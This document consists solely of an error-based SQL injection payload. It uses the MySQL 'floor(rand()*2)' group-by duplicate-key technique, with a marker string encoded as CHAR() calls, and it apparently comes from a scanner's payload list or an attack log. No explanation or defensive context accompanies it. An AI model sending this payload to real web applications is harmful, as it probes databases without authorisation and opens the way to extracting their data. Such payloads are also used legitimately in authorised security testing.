(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(52),CHAR(87),CHAR(70),CHAR(98),CHAR(97),CHAR(90),CHAR(113),CHAR(49)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))